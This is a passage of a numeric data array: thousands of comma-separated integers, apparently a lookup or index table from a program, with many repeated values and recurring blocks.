17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,31678,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,33588,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,35019,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22248,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22324,18836,22059,18888,27857,30501,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,34365,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22354,18836,18987,19008,19233,20367,19008,17173,27086,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,19930,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22309,22513,18987,19008,19233,20367,19008,19122,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,22544,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22608,18836,22988,23004,27585,23020,23036,23067,22087,18888,18888,18888,23083,27211,27211,27211,23102,22121,24401,24401,24401,23122,31386,26154,19674,18888,28119,28232,19424,23705,27211,27211,23142,23173,23189,23212,24401,24401,23246,34427,31693,23262,18888,23290,23308,27783,27620,23327,35263,35107,33383,23346,18193,23393,32748,23968,24401,23414,35153,23463,18888,33913,23442,23482,27211,27211,23532,23552,21431,23575,24401,24401,23604,26095,23635,23657,18888,33482,23685,33251,27211,22187,18851,23721,35536,24401,18887,23750,32641,27211,23769,23787,20080,33012,24384,25659,18888,18889,27211,27211,19719,23889,23803,31018,18890,27211,31833,19406,19447,23086,23330,19828,28224,31826,23823,26917,34978,23850,26493,25782,23878,23914,23516,31008,22105,19419,27963,19659,29781,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22623,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,28909,25783,27211,27211,27211,34048,23933,22164,24401,24401,24401,28409,23949,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,26583,18888,18888,18888,35585,23984,27211,27211,27211,24005,22201,24033,24401,24401,24401,24052,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,26496,24076,24126,24151,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22638,18836,22059,19678,27857,24185,24401,24201,24217,26592,18888,18888,18890,24252,24268,27211,27211,22121,24287,24303,24401,24401,30613,19781,35432,36007,32649,18888,25783,24322,28966,23771,27211,35072,22164,24358,32106,26829,24400,31500,31693,18888,18888,18888,24801,18890,27211,27211,27211,27211,24418,19484,24401,24401,24401,24401,20167,31181,18888,18888,18888,27833,23086,27211,27211,33540,27211,30756,21431,24401,24401,22972,24401,26095,18888,36131,18888,27855,27211,24440,27211,22187,22968,24401,24459,24401,31699,28454,18888,34528,34570,35779,24478,24402,24494,25659,18888,36228,27211,27211,24515,30981,23734,31018,18890,27211,31833,19406,19447,23086,23330,24538,31017,27856,31741,30059,23377,24563,19837,25782,19760,31015,23516,25374,22105,19419,29793,24579,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22653,18836,22059,25756,19982,34097,23196,29183,24614,24110,23641,24673,26103,24697,24443,24713,28558,22121,24748,24462,24764,23398,30613,18888,18888,18888,18888,24798,25783,27211,27211,27211,34232,35072,22164,24401,24401,24401,33302,31500,22559,24106,24232,18888,18888,34970,24817,30411,27211,27211,32484,19484,29750,35127,24401,24401,19872,31181,24852,18888,18888,24871,29221,27211,27211,32072,27211,30756,34441,24401,24401,31571,24401,26095,33141,27802,27011,27855,25295,25607,24888,22187,22968,19195,34593,24906,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,33663,27211,27211,24924,24947,23588,31018,18890,27211,31833,22135,19447,23086,23330,19828,30904,31042,24972,19840,25e3,31738,30898,25782,19760,31015,23516,31008,22105,19419,25016,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22668,18836,25041,25057,31320,25073,25089,25105,22087,34796,24236,36138,34870,34125,25121,23106,35497,22248,36613,25137,30671,27365,30613,25153,26447,25199,25233,22574,23274,25249,25265,25281,25318,25344,25360,25400,25428,25452,26731,25504,31693,23669,25558,27407,25575,28599,25934,25599,27211,28180,27304,25623,25839,25649,24401,34820,25681,25698,22586,27775,30190,25745,25778,25799,25817,28995,33569,30756,21518,33443,25837,25855,25893,26095,31254,26677,30136,27855,25930,25950,27211,22187,22968,25966,25986,24401,23428,27763,36330,26959,26002,26029,26045,26085,26119,26170,26203,26222,26239,30527,26372,26274,28404,31018,33757,27211,34262,26316,36729,26345,26366,35337,31017,26388,26407,30954,26350,33861,26434,26463,26479,26512,23516,33189,26531,26547,27963,31293,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22683,18836,26568,26181,26608,34097,26643,29183,22087,26669,18888,18888,18890,26693,27211,27211,27211,22121,26720,24401,24401,24401,30613,18888,18888,18888,18888,26774,25783,27211,27211,27211,26619,35072,22164,24401,24401,24401,21596,31500,31693,18888,18888,33978,18888,18890,27211,27211,25801,27211,27211,19484,24401,24401,24401,26792,24401,31181,18888,18888,18888,35464,23086,27211,27211,27211,26809,30756,21431,24401,24401,24401,26828,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,31948,18889,35707,27211,19719,26845,19868,31018,18890,27211,31833,19406,19447,23086,23330,26905,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,24984,31088,19419,26945,27651,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22698,18836,26999,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,23051,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,27033,24401,24401,24401,24401,24036,31693,18888,18888,27056,18888,18890,27211,27211,30320,27211,27211,27075,24401,24401,29032,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,33986,27855,27211,27211,27102,17590,24017,24401,24401,27123,27144,36254,27162,27210,27228,28500,18187,34842,33426,27244,35980,27277,27302,27320,36048,34013,20999,31882,21478,27895,27356,30287,27381,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,26329,30087,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,27406,27423,27445,35294,27461,22087,18888,18888,30140,18890,27211,27211,27989,27211,22121,24401,24401,25682,24401,18866,18888,18888,18888,18888,18888,34042,27211,27211,27211,27211,29700,22164,24401,24401,24401,24401,27128,31693,27477,18888,18888,18888,18890,27194,27211,27211,27211,27211,19484,35299,24401,24401,24401,24401,19628,18888,18888,18888,27059,23086,27211,27211,27211,33366,30756,24012,24401,24401,24401,35044,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,20815,27211,30818,19960,33969,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22713,18836,22059,27496,27516,27541,35231,27557,22087,29662,26292,23292,27573,24836,27601,27211,27636,22121,35544,27686,24401,27721,18866,18888,27799,18888,27818,22071,27853,32260,27211,26013,27873,27920,22164,29419,24401,29946,33413,26742,27751,26881,18888,18888,27261,36776,27936,27211,27211,27211,27988,28005,28031,28052,24401,24401,28069,28088,28135,25488,28152,26069,28167,27211,28340,24657,28196,30756,31523,24401,28212,34176,36174,24956,28248,28266,28290,21488,33077,28327,28356,17590,20986,23126,28391,28425,28102,28451,28470,28490,28516,28534,20034,33728,25868,25659,18888,18889,27211,27211,19719,23889,19868,30241,28274,28553,28574,19406,28590,23086,23330,19828,19452,28615,28660,26147,25783,31738,19837,25782,19760,29613,35958,29276,22105,19419,27963,23157,28700,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,22528,18888,18888,18888,18888,18890,27333,27211,27211,27211,27211,19484,30853,24401,24401,24401,24401,19628,18888,18888,18888,1888